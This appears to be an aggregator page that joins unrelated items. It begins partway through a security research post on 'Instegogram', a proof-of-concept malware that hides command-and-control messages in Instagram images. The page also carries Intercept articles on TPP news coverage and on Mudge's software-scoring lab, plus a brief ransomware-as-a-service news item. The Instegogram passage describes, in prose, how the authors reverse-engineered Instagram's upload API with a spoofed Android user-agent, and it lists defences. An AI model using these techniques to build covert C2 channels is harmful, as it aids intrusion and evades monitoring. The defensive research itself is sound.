Instagram's API is only partially public. They encourage third-party apps to use likes, subscriptions, requests for images, and similar actions. But, the specifics of calls for uploads are only provided via iPhone hooks and Android Intents. The webapp is a pared down version of the mobile app and doesn't allow uploads. This is likely to deter spam, bots, and maybe malware C2 architectures.

To work as an effective C2 system, we need to be able to integrate our system with Instagram's to automate uploads, downloads, and comments. Creating an image with an embedded message, transferring it to a cell phone, and then uploading it via the official Instagram app is too cumbersome to be useful. We needed to reverse the upload API.

With the help of some open source efforts and a little web-proxy work, we identified the required fields and formats for all the necessary API calls. Charles Proxy was used to sniff out the payloads of API requests coming from the phone app itself. After the general structure was determined, we used a fake Android user-agent, crafted the body of the request, and were in business. The code demonstrating this is in the "api_access" section of Endgame’s github repo.

It is worth noting that the steganographic encode/decode capabilities and capability to programmatically interact with the Instagram API are not specific to a malware use case.  They are tools that can be used for other purposes such as secure hidden messaging.  

Detecting & Preventing Instegogram

As previously mentioned, this research is motivated by the requirement to strengthen defenses. Therefore, after successfully implementing the malware, we identified the most robust means to detect and prevent Instegogram.  There is a range of measures for detecting and preventing C2 via image steganography as well as additional non-steganography measures that can be implemented.

First, a complementary field of research to steganography is steganalysis, in which a defender aims to:  (a) predict whether an image may contain a steganographic payload, and if detected, (b) attempt to recover the message from the stego image.  However, using statistical techniques to detect whether an image is corrupted may be infeasible for very small message payloads relative to the image size.  Payload recovery is a difficult cryptanalysis problem in its own right, but is of interest only for forensic analysis of a detected C2 channel.  Given the challenges in successfully implementing these steganalysis techniques through per-image or per-user defensive strategies, we don’t recommend a steganalysis approach.

In contrast, a much simpler set of measures can be implemented by the social media site owner via site-wide policies that effectively jam potential stego traffic.  For example, one can create an effectively noisy stego channel for steganographic C2 with minimal visual distortion through one or more of the following methods:

(1) Regularly and pseudorandomly change the site-wide JPEG quantization table used for re-encoding images.  This can induce double-compression problems for simple stego routines like our POC that rely on a specific quantization table.  Introducing a quantization table mismatch can reduce the channel capacity for communication, and force sophisticated attackers to resort to more robust and advanced information hiding methods.

(2) Implement other minor and visually idempotent but digitally altering transformations on the image, such as cropping the image by a few boundary pixels, randomly shifting the image by a few pixels, and/or randomly flipping the LSBs of quantized bits.  While this does not qualitatively alter the image, it creates a challenging environment to transmit information via stego C2.

(3) Institute a policy that requires mandatory application of an Instagram filter, which represents a nonlinear transformation in the image domain.  While this qualitatively changes the image, it represents a “visually appealing” change, whilst also providing an effective attack on possible stego C2.

In addition to the stego-focused mitigations, the social media provider can attempt to detect accounts which may be hosting C2.  For example, the provider could look for account access anomalies such as a single account being used in rapid succession from geographically distant locations.  Anomalies may also be visible in account creation or other factors.

Non-steganography based security policies can also be implemented by a local admin in an attempt to defend against this attack:

(1) Limit access to third-party websites: Like any other remote access trojan or backdoor, you want a policy that limits connections to the command and control server. The simplest technical solution would to limit third-party websites entirely if it's not related to the mission. As mentioned earlier, although it is a simple solution, it may be infeasible due to workforce demands.

(2) Outliers in network behavior: Network monitoring can be configured to detect anomalous network behavior, such as responses from multiple infected machines that utilize a single Instagram account for C2.

(3) Android string detection: The instagram API we provided utilizes an Android network configuration. If your network is primarily Windows endpoints, the user agent string containing Android strings would be an obvious anomaly.

(4) Disable VBA Macros: If not needed, Microsoft Windows Office VBA Macros should be disabled to avoid spearphishing campaigns utilizing the infiltration technique adopted by the POC.

 

Conclusion

We accomplished our goal of creating a proof of concept malware that utilizes a C2 architecture for nearly untraceable communications via social media and encoded images. We demonstrated a small message channel with the simplest of steganography algorithms.  By combining digital image steganography with a prominent trend in malware research - social media for C2 - our research reflects the ongoing vulnerabilities of social media, as well as the novel and creative means of exploiting these vulnerabilities against which modern defenses must be hardened.

There are numerous defensive measures that can be taken to detect and prevent malware similar to Instegogram. As noted, applying Instagram filters or identifying preprocessed images based on quantization tables could be a powerful prevention strategy.  Account anomalies can also point at potential issues.  However, this is really only possible on the provider side, not the local defender side.  

This type of attack is difficult to defend against within a given enterprise.  Blocking social media services will be infeasible in many organizations.  Local defenders can look at policy-based hardening and more general anomaly detection to defend against attacks like our proof of concept.  These steps will help defend against an even broader set of malware.  

 

 

Malware Timeline Sources

 

 

 

 

 

Instegogram: Leveraging Instagram for C2 via Image Steganography

Amanda Rousseau Hyrum Anderson and Daniel Grant
02 Aug 12:34

CNN and Fox News Are Finally Covering the TPP After Ignoring It for Two Years

by Zaid Jilani

Up until recently, cable news outlets almost completely ignored the Trans-Pacific Partnership (TPP) — the 12-nation government agreement that would dramatically expand corporate and investor rights at the expense of medical affordability, the environment, and labor rights.

The impact of this news blackout was devastating on Americans’ ability to understand what the agreement entailed. A June 2015 New York Times poll found that 78 percent of Americans said they had heard or read “not much” or “nothing at all” about the TPP.

But now that the TPP has become a major factor in the presidential campaign, that silence is finally ending.

Media Matters for America studied cable news coverage of TPP negotiations from August 1, 2013 to January 31st, 2015, and found that the agreement was mentioned just once on CNN and Fox News during that period. On MSNBC, the agreement netted 73 mentions, with all but two of those on a single program, the now-cancelled The Ed Show:

Those 18 month spanned a period of major developments in the evolution of the agreement, including several rounds of negotiation and a Wikileaks publication of a leaked intellectual property rights chapter that provided a look into how the TPP would threaten global access to medicines.

Why might major news stations ignore this consequential international agreement?

One explanation may rest in who owns these media conglomerates. For example, MSNBC’s owner, Comcast, has lobbied for the TPP. Last year, it fired host Ed Schultz, an outspoken opponent of the agreement.

Time Warner, the parent company of CNN owner Turner Broadcasting, also lobbied for the TPP. 21st Century Fox — the legal successor to News Corporation, which operates Fox News — lobbied for passage as well.

But using the television transcription service TV Eyes, The Intercept found that during the month of July 2016 alone, the TPP was mentioned 455 times by CNN, Fox News, and MSNBC — about six times as often as during the entire 18-month period studied by Media Matters:

 

This coverage largely revolved around Bernie Sanders’s insurgent efforts to unite the Democratic Party against the TPP and Donald Trump’s fiery denunciations of the agreement.

Unfortunately, even with this burst of attention, most of the reporting on the issue misses the mark. Much of it focuses on horse-race coverage of how the TPP is impacting the presidential race rather than on the substance of the agreement itself. And the mainstream media has largely accepted the Obama administration’s spin that the agreement is about increasing trade.

The reality is that the United States already has few tariffs or other trade barriers with the countries involved. The TPP is ultimately about expanding corporate rights and privileges — such as those of the conglomerates that own the major cable news networks.

Top photo: MSNBC correspondent Jacob Soboroff talks to an anti-TPP delegate at the Democratic National Convention in Philadelphia in late July.

Sign up for The Intercept Newsletter here.

The post CNN and Fox News Are Finally Covering the TPP After Ignoring It for Two Years appeared first on The Intercept.

29 Jul 17:37

A Famed Hacker Is Grading Thousands of Programs — and May Revolutionize Software in the Process

by Ryan Tate

At the Black Hat cybersecurity conference in 2014, industry luminary Dan Geer, fed up with the prevalence of vulnerabilities in digital code, made a modest proposal: Software companies should either make their products open source so buyers can see what they’re getting and tweak what they don’t like, or suffer the consequences if their software failed. He likened it to the ancient Code of Hammurabi, which says that if a builder poorly constructs a house and the house collapses and kills its owner, the builder should be put to death.

No one is suggesting putting sloppy programmers to death, but holding software companies liable for defective programs, and nullifying licensing clauses that have effectively disclaimed such liability, may make sense, given the increasing prevalence of online breaches.

The only problem with Geer’s scheme is that no formal metrics existed in 2014 for assessing the security of software or distinguishing between code that is merely bad and code that is negligently bad. Now, that may change, thanks to a new venture from another cybersecurity legend, Peiter Zatko, known more commonly by his hacker handle “Mudge.”

Mudge and his wife, Sarah, a former NSA mathematician, have developed a first-of-its-kind method for testing and scoring the security of software — a method inspired partly by Underwriters Laboratories, that century-old entity responsible for the familiar circled UL seal that tells you your toaster and hair dryer have been tested for safety and won’t burst into flames.

Called the Cyber Independent Testing Lab, the Zatkos’ operation won’t tell you if your software is literally incendiary, but it will give you a way to comparison-shop browsers, applications, and antivirus products according to how hardened they are against attack. It may also push software makers to improve their code to avoid a low score and remain competitive.

“There are applications out there that really do demonstrate good [security] hygiene … and the vast majority are somewhere else on the continuum from moderate to atrocious,” Peiter Zatko says. “But the nice thing is that now you can actually see where the software package lives on that continuum.”

Joshua Corman, founder of I Am the Cavalry, a group aimed at improving the security of software in critical devices like cars and medical devices, and head of the Cyber Statecraft Initiative for the Atlantic Council, says the public is in sore need of data that can help people assess the security of software products.

“Markets do well when an informed buyer can make an informed risk decision, and right now there is incredibly scant transparency in the buyer’s realm,” he says.

Corman cautions, however, that the Zatkos’ system is not comprehensive, and although it will provide one indicator of security risk, it’s not a conclusive indicator. He also says vendors are going to hate it.

“I have scars to show how much the software industry resists scrutiny,” he says.

theintercept_MUDGE_2

Photo: Cole C Wilson

Software Seal of Approval

When Mudge announced on Twitter last year that the White House had asked him to create a cyber version of Underwriters Laboratories, praise poured in from around the security community.

No one knew the details, but people were confident if he was involved, it would be great.

“Excellent! Something everyone has talked about for decades!” the Def Con hacker conference tweeted after his announcement.

“That’s a concept that really could make a difference if executed well,” wrote Bruce Potter, founder of the Shmoo Group crypto-security collective, which runs the annual Shmoocon security conference

Mudge has been tightlipped about the nature of the cyber UL ever since, but he agreed to discuss the details in advance of a talk he’s presenting next week at the Black Hat conference in Las Vegas.

“To use the car analogy, does it have seatbelts, does it have air bags, does it have anti-lock brakes?” — Peiter Zatko

He says the method their lab uses to evaluate software is based on one he taught NSA hackers in the 1990s about how to find the softest targets on an adversary’s network. (During his run back then with the famed hacker think tank L0pht Heavy Industries, Mudge and his L0pht colleagues regularly provided advice to various parts of the government.)

The technique involves, in part, analyzing binary software files using algorithms created by Sarah to measure the security hygiene of code. During this sort of examination, known as “static analysis” because it involves looking at code without executing it, the lab is not looking for specific vulnerabilities, but rather for signs that developers employed defensive coding methods to build armor into their code.

“To use the car analogy, does it have seatbelts, does it have air bags, does it have anti-lock brakes? All the things that are going to make [a hacker’s] life more difficult,” Mudge says.

The Zatkos say a code’s security hygiene, measured by the programming methods developers use, as well as by the tools and settings used to compile the resulting software, are good predictors of whether a software application will have serious security vulnerabilities and reliability issues.

Their algorithms run through a checklist of more than 300 items, such as whether the compiler used to convert the source code into binary inserted common protective features, like preventing portions of memory reserved for program data — the “stack” and “heap” — from being used to hold additional software.

“Things like ASLR [address space layout randomization] and having a nonexecutable stack and heap and stuff like that, those are all determined by how you compiled [the source code],” says Sarah. “Those are the technologies that are really the equivalent of airbags or anti-lock brakes [in cars]. They’re the things that make software better than it used to be.”

Modern compilers of Linux and OS X not only add protective features, they automatically swap out bad functions in code with safer equivalent ones when available. Yet some companies still use old compilers that lack security features.

The lab’s initial research has found that Microsoft’s Office suite for OS X, for example, is missing fundamental security settings because the company is using a decade-old development environment to build it, despite using a modern and secure one to build its own operating system, Mudge says. Industrial control system software, used in critical infrastructure environments like power plants and water treatment facilities, is also primarily compiled on “ancient compilers” that either don’t have modern protective measures or don’t have them turned on by default.

Asked about the findings, a Microsoft spokesperson would only say, “We are focused on security as a core component in the software development process. We developed and are committed to the Security Development Lifecycle, and continue to lead the industry in creating the most secure products across all platforms.”

The Zatkos’ algorithms also assess the number of branches in a program; more branches mean more complexity and more potential for error. And they look at the presence of complex algorithms that could be susceptible to algorithmic complexity attacks.

The lab is also looking at the number of external software libraries a program calls on and the processes it uses to call them. Such libraries make life more convenient for programmers, because they allow them to repurpose useful functions written by other coders, but they also increase the amount of potentially vulnerable code, increasing what security experts refer to as the “attack surface.” There are about 200 specific external library calls, Mudge says, that are particularly difficult to implement in a manner that ensures a given program executes safely.

If they get a really low score, “we can guarantee that … they’re doing so many things wrong that there are vulnerabilities” in their code. — Sarah Zatko

The process they use to evaluate software allows them to easily compare and contrast similar programs. Looking at three browsers, for example — Chrome, Safari, and Firefox — Chrome came out on top, with Firefox on the bottom. Google’s Chrome developers not only used a modern build environment and enabled all the default security settings they could, Mudge says, they went “above and beyond in making things even more robust.” Firefox, by contrast, “had turned off [ASLR], one of the fundamental safety features in their compilation.”

Mudge worked for Google previously, so some might accuse him of bias, but he says their algorithms, which have been vetted by an outside technical board, ensure that the automated assessments aren’t biased.

Software vendors will no doubt object to the methods they’re using to score their code, arguing that the use of risky libraries and old compilers doesn’t mean the vendors’ programs have actual vulnerabilities. But Sarah disagrees.

“If they get a really good score, we’re not saying there are no vulnerabilities,” says Sarah. But if they get a really low score, “we can guarantee that … they’re doing so many things wrong that there are vulnerabilities [in their code].”

The lab aims to prove such vulnerabilities with the second part of its testing regimen, which uses fuzzing, a method that involves throwing a lot of data at a program to see if it crashes or does something else it shouldn’t do.

“In actually executing it and crashing it, we’re confirming that, yes, this thing has bugs, this thing crashed,” Mudge says. “We were able to give it input and it behaved abhorrently.”

Not all crashes indicate the presence of a bug that hackers can exploit, but they do, at a minimum, indicate that a program may be unreliable for users. In the lab reports the Zatkos plan to make available to the public, they will note which crashes they found were potentially exploitable.

The Zatkos don’t plan to fuzz every program, only enough to show a direct correlation between programs that score low in their algorithmic code analysis and ones shown by fuzzing to have actual flaws. They want to be able to say with 90 percent accuracy that one is indicative of the other.

Mudges Storied Hacking History

Mudge has a long history in the hacker and security communities. While a member of L0pht, he and his L0pht colleagues testified to federal lawmakers in 1998 that the group could bring down the internet in 30 minutes using a serious flaw that still exists.

theintercept_MUDGE_3

Photo: Cole C Wilson

He also advised the Clinton administration on cybersecurity issues; was a program manager for DARPA’s Cyber FastTrack initiative, which offered fast-turnaround grants for short cybersecurity projects; and more recently, worked for Google’s Advanced Technologies and Projects Group, a sort of rapid-response skunkworks group, before leaving to launch the testing lab.

His interest in doing software security assessments dates back to a paper one of his L0pht colleagues wrote in 1998 about such evaluations. The idea moved from theory to practice when L0pht merged with a security startup called @Stake and began developing an automated way to do static analysis of code. That method became the basis for what a company called VeraCode does today: assess software for government and corporate clients before they buy it.

Chris Wysopal, CTO of VeraCode and a former L0pht colleague of Mudge’s, says clients generally won’t purchase software his company finds problematic until the software maker fixes the problems, which he says is great for other buyers.

“To me that’s like actually finishing the job; we’re not just pointing out the problems but helping make better software,” he says.

But these assessments are done privately and often on enterprise software, leaving the rest of the public with no way to assess the security of software and little leverage to force vendors to fix other poorly secured code. The Zatkos’ venture could fill that gap, Wysopal says.

Two years ago, Mudge says someone from the White House technology office approached him about helping to set up a government program to evaluate software. He had no interest in working inside the government and decided to set up a nonprofit instead. Although his tweet last year said the White House asked him to create the lab, the White House isn’t involved in his project.

Instead, with $600,000 in funding from DARPA, the Ford Foundation, and Consumers Union, he and Sarah set up the lab in the basement of their home. The outside technical board that vets their methodology and algorithms includes security notables such as former NSA hacker Charlie Miller; Dino Dai Zovi, a security engineer with Square; and Frank Rieger, CTO of the German firm GSMk, which makes the Cryptophone.

Vendors don’t pay for the evaluations. The Zatkos choose the software they evaluate and either buy it or obtain free evaluation copies from vendor websites. They’re examining both commercial software programs and open-source ones. For each software package they test, they produce three reports. The first, automatically generated by their algorithms, scores the software on a scale between 0 and 100. The second contains a detailed breakdown of what they found in the software and will be available for free on their website. The third report, which they plan to sell, will contain raw data from their assessments for anyone who wants to recreate them.

They’ve examined about 12,000 programs so far and plan to release their first reports in early 2017. They also plan to release information about their methodology and are willing to share the algorithms they use for their predictive fuzzing analysis if someone wants them.

There’s already a growing interest in their work. They’re working with Consumer Reports, another inspiration for the lab, to develop a way to use their data to evaluate products the magazine tests. They’ve also had interest from AIG and other insurers who want to use the data to do risk-assessments of companies seeking cyber insurance.

But there is at least one downside to scoring software like this: Attackers can use it to gauge where they should focus their energy to find vulnerabilities, targeting low-scoring applications. Lawyers will also likely want to use the data to assess liability for companies that get hacked. Did they install risky software on their network when a measurably more secure one was available?

Mudge says he’s not upset about the prospect of lawyers finding joy in their scores. “We’ve been begging people to give a shit about security for a decade. … [But] there’s very little incentive if they’ve already got a product to change a product. If you come out with a quantifier saying what you’ve got is not as secure as this other one, that’s going to be an incentive for them to go out and get the other one.”

Sign up for The Intercept Newsletter here.

The post A Famed Hacker Is Grading Thousands of Programs — and May Revolutionize Software in the Process appeared first on The Intercept.

28 Jul 13:37

Petya, Mischa ransomware-as-a-service affiliate system goes live

by David Bisson
Petya, Mischa ransomware-as-a-service affiliate system goes live

The developers of Petya and Mischa ransomware have officially made their malicious software affiliate scheme open to the public.

David Bisson reports.